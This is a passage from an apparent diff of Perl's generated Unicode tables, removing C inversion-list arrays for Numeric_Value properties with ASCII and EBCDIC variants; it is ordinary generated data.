beyond 0 */ - 0x0, - 0x10124, - 0x10125, - 0x109DD, - 0x109DE -}; - -static const UV PL_NV__30000_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1012D, - 0x1012E, - 0x109E6, - 0x109E7 -}; - -static const UV PL_NV__300000_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x109EF, - 0x109F0 -}; - -static const UV PL_NV__31_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x325B, - 0x325C -}; - -static const UV PL_NV__32_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x325C, - 0x325D -}; - -static const UV PL_NV__33_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x325D, - 0x325E -}; - -static const UV PL_NV__34_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x325E, - 0x325F -}; - -static const UV PL_NV__35_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x325F, - 0x3260 -}; - -static const UV PL_NV__36_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x32B1, - 0x32B2 -}; - -static const UV PL_NV__37_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x32B2, - 0x32B3 -}; - -static const UV PL_NV__38_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x32B3, - 0x32B4 -}; - -static const UV PL_NV__39_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x32B4, - 0x32B5 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_NV__4_invlist[] = { /* for ASCII/Latin1 */ - 223, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x34, - 0x35, - 0x664, - 0x665, - 0x6F4, - 0x6F5, - 0x7C4, - 0x7C5, - 0x96A, - 0x96B, - 0x9EA, - 0x9EB, - 0xA6A, - 0xA6B, - 0xAEA, - 0xAEB, - 0xB6A, - 0xB6B, - 0xBEA, - 0xBEB, - 0xC6A, - 0xC6B, - 0xCEA, - 0xCEB, - 0xD6A, - 0xD6B, - 0xDEA, - 0xDEB, - 0xE54, - 0xE55, - 0xED4, - 0xED5, - 0xF24, - 0xF25, - 0x1044, - 0x1045, - 0x1094, - 0x1095, - 0x136C, - 0x136D, - 0x17E4, - 0x17E5, - 0x17F4, - 0x17F5, - 0x1814, - 0x1815, - 0x194A, - 0x194B, - 0x19D4, - 0x19D5, - 0x1A84, - 0x1A85, - 0x1A94, - 0x1A95, - 0x1B54, - 0x1B55, - 0x1BB4, - 0x1BB5, - 0x1C44, - 0x1C45, - 0x1C54, - 0x1C55, - 0x2074, - 0x2075, - 0x2084, - 0x2085, - 0x2163, - 0x2164, - 0x2173, - 0x2174, - 0x2463, - 0x2464, - 0x2477, - 0x2478, - 0x248B, - 0x248C, - 0x24F8, - 0x24F9, - 0x2779, - 0x277A, - 0x2783, - 0x2784, - 0x278D, - 0x278E, - 0x3024, - 0x3025, - 0x3195, - 0x3196, - 0x3223, - 0x3224, - 0x3283, - 0x3284, - 0x4E96, - 0x4E97, - 0x56DB, - 0x56DC, - 0x8086, - 0x8087, - 0xA624, - 0xA625, - 0xA6E9, - 0xA6EA, - 0xA8D4, - 0xA8D5, - 0xA904, - 0xA905, - 0xA9D4, - 0xA9D5, - 0xA9F4, - 0xA9F5, - 0xAA54, - 0xAA55, - 0xABF4, - 0xABF5, - 0xFF14, - 0xFF15, - 0x1010A, - 0x1010B, - 0x102E4, - 0x102E5, - 0x104A4, - 0x104A5, - 0x1087C, - 0x1087D, - 0x108AA, - 0x108AC, - 0x109C3, - 0x109C4, - 0x10A43, - 0x10A44, - 0x10B5B, - 0x10B5C, - 0x10B7B, - 0x10B7C, - 0x10BAC, - 0x10BAD, - 0x10E63, - 0x10E64, - 0x11055, - 0x11056, - 0x1106A, - 0x1106B, - 0x110F4, - 0x110F5, - 0x1113A, - 0x1113B, - 0x111D4, - 0x111D5, - 0x111E4, - 0x111E5, - 0x112F4, - 0x112F5, - 0x11454, - 0x11455, - 0x114D4, - 0x114D5, - 0x11654, - 0x11655, - 0x116C4, - 0x116C5, - 0x11734, - 0x11735, - 0x118E4, - 0x118E5, - 0x11C54, - 0x11C55, - 0x11C5D, - 0x11C5E, - 0x11D54, - 0x11D55, - 0x12402, - 0x12403, - 0x12409, - 0x1240A, - 0x1240F, - 0x12410, - 0x12418, - 0x12419, - 0x12421, - 0x12422, - 0x12426, - 0x12427, - 0x12430, - 0x12431, - 0x12438, - 0x12439, - 0x1243C, - 0x12440, - 0x1244C, - 0x1244D, - 0x12452, - 0x12454, - 0x12469, - 0x1246A, - 0x16A64, - 0x16A65, - 0x16B54, - 0x16B55, - 0x1D363, - 0x1D364, - 0x1D7D2, - 0x1D7D3, - 0x1D7DC, - 0x1D7DD, - 0x1D7E6, - 0x1D7E7, - 0x1D7F0, - 0x1D7F1, - 0x1D7FA, - 0x1D7FB, - 0x1E8CA, - 0x1E8CB, - 0x1E954, - 0x1E955, - 0x1F105, - 0x1F106, - 0x20064, - 0x20065, - 0x200E2, - 0x200E3, - 0x2626D, - 0x2626E -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__4_invlist[] = { /* for EBCDIC 1047 */ - 223, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF4, - 0xF5, - 0x664, - 0x665, - 0x6F4, - 0x6F5, - 0x7C4, - 0x7C5, - 0x96A, - 0x96B, - 0x9EA, - 0x9EB, - 0xA6A, - 0xA6B, - 0xAEA, - 0xAEB, - 0xB6A, - 0xB6B, - 0xBEA, - 0xBEB, - 0xC6A, - 0xC6B, - 0xCEA, - 0xCEB, - 0xD6A, - 0xD6B, - 0xDEA, - 0xDEB, - 0xE54, - 0xE55, - 0xED4, - 0xED5, - 0xF24, - 0xF25, - 0x1044, - 0x1045, - 0x1094, - 0x1095, - 0x136C, - 0x136D, - 0x17E4, - 0x17E5, - 0x17F4, - 0x17F5, - 0x1814, - 0x1815, - 0x194A, - 0x194B, - 0x19D4, - 0x19D5, - 0x1A84, - 0x1A85, - 0x1A94, - 0x1A95, - 0x1B54, - 0x1B55, - 0x1BB4, - 0x1BB5, - 0x1C44, - 0x1C45, - 0x1C54, - 0x1C55, - 0x2074, - 0x2075, - 0x2084, - 0x2085, - 0x2163, - 0x2164, - 0x2173, - 0x2174, - 0x2463, - 0x2464, - 0x2477, - 0x2478, - 0x248B, - 0x248C, - 0x24F8, - 0x24F9, - 0x2779, - 0x277A, - 0x2783, - 0x2784, - 0x278D, - 0x278E, - 0x3024, - 0x3025, - 0x3195, - 0x3196, - 0x3223, - 0x3224, - 0x3283, - 0x3284, - 0x4E96, - 0x4E97, - 0x56DB, - 0x56DC, - 0x8086, - 0x8087, - 0xA624, - 0xA625, - 0xA6E9, - 0xA6EA, - 0xA8D4, - 0xA8D5, - 0xA904, - 0xA905, - 0xA9D4, - 0xA9D5, - 0xA9F4, - 0xA9F5, - 0xAA54, - 0xAA55, - 0xABF4, - 0xABF5, - 0xFF14, - 0xFF15, - 0x1010A, - 0x1010B, - 0x102E4, - 0x102E5, - 0x104A4, - 0x104A5, - 0x1087C, - 0x1087D, - 0x108AA, - 0x108AC, - 0x109C3, - 0x109C4, - 0x10A43, - 0x10A44, - 0x10B5B, - 0x10B5C, - 0x10B7B, - 0x10B7C, - 0x10BAC, - 0x10BAD, - 0x10E63, - 0x10E64, - 0x11055, - 0x11056, - 0x1106A, - 0x1106B, - 0x110F4, - 0x110F5, - 0x1113A, - 0x1113B, - 0x111D4, - 0x111D5, - 0x111E4, - 0x111E5, - 0x112F4, - 0x112F5, - 0x11454, - 0x11455, - 0x114D4, - 0x114D5, - 0x11654, - 0x11655, - 0x116C4, - 0x116C5, - 0x11734, - 0x11735, - 0x118E4, - 0x118E5, - 0x11C54, - 0x11C55, - 0x11C5D, - 0x11C5E, - 0x11D54, - 0x11D55, - 0x12402, - 0x12403, - 0x12409, - 0x1240A, - 0x1240F, - 0x12410, - 0x12418, - 0x12419, - 0x12421, - 0x12422, - 0x12426, - 0x12427, - 0x12430, - 0x12431, - 0x12438, - 0x12439, - 0x1243C, - 0x12440, - 0x1244C, - 0x1244D, - 0x12452, - 0x12454, - 0x12469, - 0x1246A, - 0x16A64, - 0x16A65, - 0x16B54, - 0x16B55, - 0x1D363, - 0x1D364, - 0x1D7D2, - 0x1D7D3, - 0x1D7DC, - 0x1D7DD, - 0x1D7E6, - 0x1D7E7, - 0x1D7F0, - 0x1D7F1, - 0x1D7FA, - 0x1D7FB, - 0x1E8CA, - 0x1E8CB, - 0x1E954, - 0x1E955, - 0x1F105, - 0x1F106, - 0x20064, - 0x20065, - 0x200E2, - 0x200E3, - 0x2626D, - 0x2626E -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__4_invlist[] = { /* for EBCDIC 037 */ - 223, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF4, - 0xF5, - 0x664, - 0x665, - 0x6F4, - 0x6F5, - 0x7C4, - 0x7C5, - 0x96A, - 0x96B, - 0x9EA, - 0x9EB, - 0xA6A, - 0xA6B, - 0xAEA, - 0xAEB, - 0xB6A, - 0xB6B, - 0xBEA, - 0xBEB, - 0xC6A, - 0xC6B, - 0xCEA, - 0xCEB, - 0xD6A, - 0xD6B, - 0xDEA, - 0xDEB, - 0xE54, - 0xE55, - 0xED4, - 0xED5, - 0xF24, - 0xF25, - 0x1044, - 0x1045, - 0x1094, - 0x1095, - 0x136C, - 0x136D, - 0x17E4, - 0x17E5, - 0x17F4, - 0x17F5, - 0x1814, - 0x1815, - 0x194A, - 0x194B, - 0x19D4, - 0x19D5, - 0x1A84, - 0x1A85, - 0x1A94, - 0x1A95, - 0x1B54, - 0x1B55, - 0x1BB4, - 0x1BB5, - 0x1C44, - 0x1C45, - 0x1C54, - 0x1C55, - 0x2074, - 0x2075, - 0x2084, - 0x2085, - 0x2163, - 0x2164, - 0x2173, - 0x2174, - 0x2463, - 0x2464, - 0x2477, - 0x2478, - 0x248B, - 0x248C, - 0x24F8, - 0x24F9, - 0x2779, - 0x277A, - 0x2783, - 0x2784, - 0x278D, - 0x278E, - 0x3024, - 0x3025, - 0x3195, - 0x3196, - 0x3223, - 0x3224, - 0x3283, - 0x3284, - 0x4E96, - 0x4E97, - 0x56DB, - 0x56DC, - 0x8086, - 0x8087, - 0xA624, - 0xA625, - 0xA6E9, - 0xA6EA, - 0xA8D4, - 0xA8D5, - 0xA904, - 0xA905, - 0xA9D4, - 0xA9D5, - 0xA9F4, - 0xA9F5, - 0xAA54, - 0xAA55, - 0xABF4, - 0xABF5, - 0xFF14, - 0xFF15, - 0x1010A, - 0x1010B, - 0x102E4, - 0x102E5, - 0x104A4, - 0x104A5, - 0x1087C, - 0x1087D, - 0x108AA, - 0x108AC, - 0x109C3, - 0x109C4, - 0x10A43, - 0x10A44, - 0x10B5B, - 0x10B5C, - 0x10B7B, - 0x10B7C, - 0x10BAC, - 0x10BAD, - 0x10E63, - 0x10E64, - 0x11055, - 0x11056, - 0x1106A, - 0x1106B, - 0x110F4, - 0x110F5, - 0x1113A, - 0x1113B, - 0x111D4, - 0x111D5, - 0x111E4, - 0x111E5, - 0x112F4, - 0x112F5, - 0x11454, - 0x11455, - 0x114D4, - 0x114D5, - 0x11654, - 0x11655, - 0x116C4, - 0x116C5, - 0x11734, - 0x11735, - 0x118E4, - 0x118E5, - 0x11C54, - 0x11C55, - 0x11C5D, - 0x11C5E, - 0x11D54, - 0x11D55, - 0x12402, - 0x12403, - 0x12409, - 0x1240A, - 0x1240F, - 0x12410, - 0x12418, - 0x12419, - 0x12421, - 0x12422, - 0x12426, - 0x12427, - 0x12430, - 0x12431, - 0x12438, - 0x12439, - 0x1243C, - 0x12440, - 0x1244C, - 0x1244D, - 0x12452, - 0x12454, - 0x12469, - 0x1246A, - 0x16A64, - 0x16A65, - 0x16B54, - 0x16B55, - 0x1D363, - 0x1D364, - 0x1D7D2, - 0x1D7D3, - 0x1D7DC, - 0x1D7DD, - 0x1D7E6, - 0x1D7E7, - 0x1D7F0, - 0x1D7F1, - 0x1D7FA, - 0x1D7FB, - 0x1E8CA, - 0x1E8CB, - 0x1E954, - 0x1E955, - 0x1F105, - 0x1F106, - 0x20064, - 0x20065, - 0x200E2, - 0x200E3, - 0x2626D, - 0x2626E -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_NV__4_SLASH_5_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2158, - 0x2159 -}; - -static const UV PL_NV__40_invlist[] = { /* for all charsets */ - 33, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1375, - 0x1376, - 0x324B, - 0x324C, - 0x32B5, - 0x32B6, - 0x534C, - 0x534D, - 0x10113, - 0x10114, - 0x102ED, - 0x102EE, - 0x109CC, - 0x109CD, - 0x10E6C, - 0x10E6D, - 0x1105E, - 0x1105F, - 0x111ED, - 0x111EE, - 0x118ED, - 0x118EE, - 0x11C66, - 0x11C67, - 0x12467, - 0x12468, - 0x1D36C, - 0x1D36D, - 0x2098C, - 0x2098D, - 0x2099C, - 0x2099D -}; - -static const UV PL_NV__400_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1011C, - 0x1011D, - 0x102F6, - 0x102F7, - 0x109D5, - 0x109D6, - 0x10E75, - 0x10E76 -}; - -static const UV PL_NV__4000_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10125, - 0x10126, - 0x109DE, - 0x109DF -}; - -static const UV PL_NV__40000_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1012E, - 0x1012F, - 0x109E7, - 0x109E8 -}; - -static const UV PL_NV__400000_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x109F0, - 0x109F1 -}; - -static const UV PL_NV__41_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x32B6, - 0x32B7 -}; - -static const UV PL_NV__42_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x32B7, - 0x32B8 -}; - -static const UV PL_NV__43_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x32B8, - 0x32B9 -}; - -static const UV PL_NV__432000_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x12433, - 0x12434 -}; - -static const UV PL_NV__44_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x32B9, - 0x32BA -}; - -static const UV PL_NV__45_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x32BA, - 0x32BB -}; - -static const UV PL_NV__46_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x32BB, - 0x32BC -}; - -static const UV PL_NV__47_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x32BC, - 0x32BD -}; - -static const UV PL_NV__48_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x32BD, - 0x32BE -}; - -static const UV PL_NV__49_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x32BE, - 0x32BF -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_NV__5_invlist[] = { /* for ASCII/Latin1 */ - 227, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x35, - 0x36, - 0x665, - 0x666, - 0x6F5, - 0x6F6, - 0x7C5, - 0x7C6, - 0x96B, - 0x96C, - 0x9EB, - 0x9EC, - 0xA6B, - 0xA6C, - 0xAEB, - 0xAEC, - 0xB6B, - 0xB6C, - 0xBEB, - 0xBEC, - 0xC6B, - 0xC6C, - 0xCEB, - 0xCEC, - 0xD6B, - 0xD6C, - 0xDEB, - 0xDEC, - 0xE55, - 0xE56, - 0xED5, - 0xED6, - 0xF25, - 0xF26, - 0x1045, - 0x1046, - 0x1095, - 0x1096, - 0x136D, - 0x136E, - 0x17E5, - 0x17E6, - 0x17F5, - 0x17F6, - 0x1815, - 0x1816, - 0x194B, - 0x194C, - 0x19D5, - 0x19D6, - 0x1A85, - 0x1A86, - 0x1A95, - 0x1A96, - 0x1B55, - 0x1B56, - 0x1BB5, - 0x1BB6, - 0x1C45, - 0x1C46, - 0x1C55, - 0x1C56, - 0x2075, - 0x2076, - 0x2085, - 0x2086, - 0x2164, - 0x2165, - 0x2174, - 0x2175, - 0x2464, - 0x2465, - 0x2478, - 0x2479, - 0x248C, - 0x248D, - 0x24F9, - 0x24FA, - 0x277A, - 0x277B, - 0x2784, - 0x2785, - 0x278E, - 0x278F, - 0x3025, - 0x3026, - 0x3224, - 0x3225, - 0x3284, - 0x3285, - 0x3405, - 0x3406, - 0x382A, - 0x382B, - 0x4E94, - 0x4E95, - 0x4F0D, - 0x4F0E, - 0xA625, - 0xA626, - 0xA6EA, - 0xA6EB, - 0xA8D5, - 0xA8D6, - 0xA905, - 0xA906, - 0xA9D5, - 0xA9D6, - 0xA9F5, - 0xA9F6, - 0xAA55, - 0xAA56, - 0xABF5, - 0xABF6, - 0xFF15, - 0xFF16, - 0x1010B, - 0x1010C, - 0x10143, - 0x10144, - 0x10148, - 0x10149, - 0x1014F, - 0x10150, - 0x1015F, - 0x10160, - 0x10173, - 0x10174, - 0x102E5, - 0x102E6, - 0x10321, - 0x10322, - 0x104A5, - 0x104A6, - 0x1087D, - 0x1087E, - 0x108AC, - 0x108AD, - 0x108FC, - 0x108FD, - 0x109C4, - 0x109C5, - 0x10AEC, - 0x10AED, - 0x10CFB, - 0x10CFC, - 0x10E64, - 0x10E65, - 0x11056, - 0x11057, - 0x1106B, - 0x1106C, - 0x110F5, - 0x110F6, - 0x1113B, - 0x1113C, - 0x111D5, - 0x111D6, - 0x111E5, - 0x111E6, - 0x112F5, - 0x112F6, - 0x11455, - 0x11456, - 0x114D5, - 0x114D6, - 0x11655, - 0x11656, - 0x116C5, - 0x116C6, - 0x11735, - 0x11736, - 0x118E5, - 0x118E6, - 0x11C55, - 0x11C56, - 0x11C5E, - 0x11C5F, - 0x11D55, - 0x11D56, - 0x12403, - 0x12404, - 0x1240A, - 0x1240B, - 0x12410, - 0x12411, - 0x12419, - 0x1241A, - 0x12422, - 0x12423, - 0x12427, - 0x12428, - 0x12431, - 0x12432, - 0x12439, - 0x1243A, - 0x1244D, - 0x1244E, - 0x12454, - 0x12456, - 0x1246A, - 0x1246B, - 0x16A65, - 0x16A66, - 0x16B55, - 0x16B56, - 0x1D364, - 0x1D365, - 0x1D7D3, - 0x1D7D4, - 0x1D7DD, - 0x1D7DE, - 0x1D7E7, - 0x1D7E8, - 0x1D7F1, - 0x1D7F2, - 0x1D7FB, - 0x1D7FC, - 0x1E8CB, - 0x1E8CC, - 0x1E955, - 0x1E956, - 0x1F106, - 0x1F107, - 0x20121, - 0x20122 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__5_invlist[] = { /* for EBCDIC 1047 */ - 227, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF5, - 0xF6, - 0x665, - 0x666, - 0x6F5, - 0x6F6, - 0x7C5, - 0x7C6, - 0x96B, - 0x96C, - 0x9EB, - 0x9EC, - 0xA6B, - 0xA6C, - 0xAEB, - 0xAEC, - 0xB6B, - 0xB6C, - 0xBEB, - 0xBEC, - 0xC6B, - 0xC6C, - 0xCEB, - 0xCEC, - 0xD6B, - 0xD6C, - 0xDEB, - 0xDEC, - 0xE55, - 0xE56, - 0xED5, - 0xED6, - 0xF25, - 0xF26, - 0x1045, - 0x1046, - 0x1095, - 0x1096, - 0x136D, - 0x136E, - 0x17E5, - 0x17E6, - 0x17F5, - 0x17F6, - 0x1815, - 0x1816, - 0x194B, - 0x194C, - 0x19D5, - 0x19D6, - 0x1A85, - 0x1A86, - 0x1A95, - 0x1A96, - 0x1B55, - 0x1B56, - 0x1BB5, - 0x1BB6, - 0x1C45, - 0x1C46, - 0x1C55, - 0x1C56, - 0x2075, - 0x2076, - 0x2085, - 0x2086, - 0x2164, - 0x2165, - 0x2174, - 0x2175, - 0x2464, - 0x2465, - 0x2478, - 0x2479, - 0x248C, - 0x248D, - 0x24F9, - 0x24FA, - 0x277A, - 0x277B, - 0x2784, - 0x2785, - 0x278E, - 0x278F, - 0x3025, - 0x3026, - 0x3224, - 0x3225, - 0x3284, - 0x3285, - 0x3405, - 0x3406, - 0x382A, - 0x382B, - 0x4E94, - 0x4E95, - 0x4F0D, - 0x4F0E, - 0xA625, - 0xA626, - 0xA6EA, - 0xA6EB, - 0xA8D5, - 0xA8D6, - 0xA905, - 0xA906, - 0xA9D5, - 0xA9D6, - 0xA9F5, - 0xA9F6, - 0xAA55, - 0xAA56, - 0xABF5, - 0xABF6, - 0xFF15, - 0xFF16, - 0x1010B, - 0x1010C, - 0x10143, - 0x10144, - 0x10148, - 0x10149, - 0x1014F, - 0x10150, - 0x1015F, - 0x10160, - 0x10173, - 0x10174, - 0x102E5, - 0x102E6, - 0x10321, - 0x10322, - 0x104A5, - 0x104A6, - 0x1087D, - 0x1087E, - 0x108AC, - 0x108AD, - 0x108FC, - 0x108FD, - 0x109C4, - 0x109C5, - 0x10AEC, - 0x10AED, - 0x10CFB, - 0x10CFC, - 0x10E64, - 0x10E65, - 0x11056, - 0x11057, - 0x1106B, - 0x1106C, - 0x110F5, - 0x110F6, - 0x1113B, - 0x1113C, - 0x111D5, - 0x111D6, - 0x111E5, - 0x111E6, - 0x112F5, - 0x112F6, - 0x11455, - 0x11456, - 0x114D5, - 0x114D6, - 0x11655, - 0x11656, - 0x116C5, - 0x116C6, - 0x11735, - 0x11736, - 0x118E5, - 0x118E6, - 0x11C55, - 0x11C56, - 0x11C5E, - 0x11C5F, - 0x11D55, - 0x11D56, - 0x12403, - 0x12404, - 0x1240A, - 0x1240B, - 0x12410, - 0x12411, - 0x12419, - 0x1241A, - 0x12422, - 0x12423, - 0x12427, - 0x12428, - 0x12431, - 0x12432, - 0x12439, - 0x1243A, - 0x1244D, - 0x1244E, - 0x12454, - 0x12456, - 0x1246A, - 0x1246B, - 0x16A65, - 0x16A66, - 0x16B55, - 0x16B56, - 0x1D364, - 0x1D365, - 0x1D7D3, - 0x1D7D4, - 0x1D7DD, - 0x1D7DE, - 0x1D7E7, - 0x1D7E8, - 0x1D7F1, - 0x1D7F2, - 0x1D7FB, - 0x1D7FC, - 0x1E8CB, - 0x1E8CC, - 0x1E955, - 0x1E956, - 0x1F106, - 0x1F107, - 0x20121, - 0x20122 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__5_invlist[] = { /* for EBCDIC 037 */ - 227, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF5, - 0xF6, - 0x665, - 0x666, - 0x6F5, - 0x6F6, - 0x7C5, - 0x7C6, - 0x96B, - 0x96C, - 0x9EB, - 0x9EC, - 0xA6B, - 0xA6C, - 0xAEB, - 0xAEC, - 0xB6B, - 0xB6C, - 0xBEB, - 0xBEC, - 0xC6B, - 0xC6C, - 0xCEB, - 0xCEC, - 0xD6B, - 0xD6C, - 0xDEB, - 0xDEC, - 0xE55, - 0xE56, - 0xED5, - 0xED6, - 0xF25, - 0xF26, - 0x1045, - 0x1046, - 0x1095, - 0x1096, - 0x136D, - 0x136E, - 0x17E5, - 0x17E6, - 0x17F5, - 0x17F6, - 0x1815, - 0x1816, - 0x194B, - 0x194C, - 0x19D5, - 0x19D6, - 0x1A85, - 0x1A86, - 0x1A95, - 0x1A96, - 0x1B55, - 0x1B56, - 0x1BB5, - 0x1BB6, - 0x1C45, - 0x1C46, - 0x1C55, - 0x1C56, - 0x2075, - 0x2076, - 0x2085, - 0x2086, - 0x2164, - 0x2165, - 0x2174, - 0x2175, - 0x2464, - 0x2465, - 0x2478, - 0x2479, - 0x248C, - 0x248D, - 0x24F9, - 0x24FA, - 0x277A, - 0x277B, - 0x2784, - 0x2785, - 0x278E, - 0x278F, - 0x3025, - 0x3026, - 0x3224, - 0x3225, - 0x3284, - 0x3285, - 0x3405, - 0x3406, - 0x382A, - 0x382B, - 0x4E94, - 0x4E95, - 0x4F0D, - 0x4F0E, - 0xA625, - 0xA626, - 0xA6EA, - 0xA6EB, - 0xA8D5, - 0xA8D6, - 0xA905, - 0xA906, - 0xA9D5, - 0xA9D6, - 0xA9F5, - 0xA9F6, - 0xAA55, - 0xAA56, - 0xABF5, - 0xABF6, - 0xFF15, - 0xFF16, - 0x1010B, - 0x1010C, - 0x10143, - 0x10144, - 0x10148, - 0x10149, - 0x1014F, - 0x10150, - 0x1015F, - 0x10160, - 0x10173, - 0x10174, - 0x102E5, - 0x102E6, - 0x10321, - 0x10322, - 0x104A5, - 0x104A6, - 0x1087D, - 0x1087E, - 0x108AC, - 0x108AD, - 0x108FC, - 0x108FD, - 0x109C4, - 0x109C5, - 0x10AEC, - 0x10AED, - 0x10CFB, - 0x10CFC, - 0x10E64, - 0x10E65, - 0x11056, - 0x11057, - 0x1106B, - 0x1106C, - 0x110F5, - 0x110F6, - 0x1113B, - 0x1113C, - 0x111D5, - 0x111D6, - 0x111E5, - 0x111E6, - 0x112F5, - 0x112F6, - 0x11455, - 0x11456, - 0x114D5, - 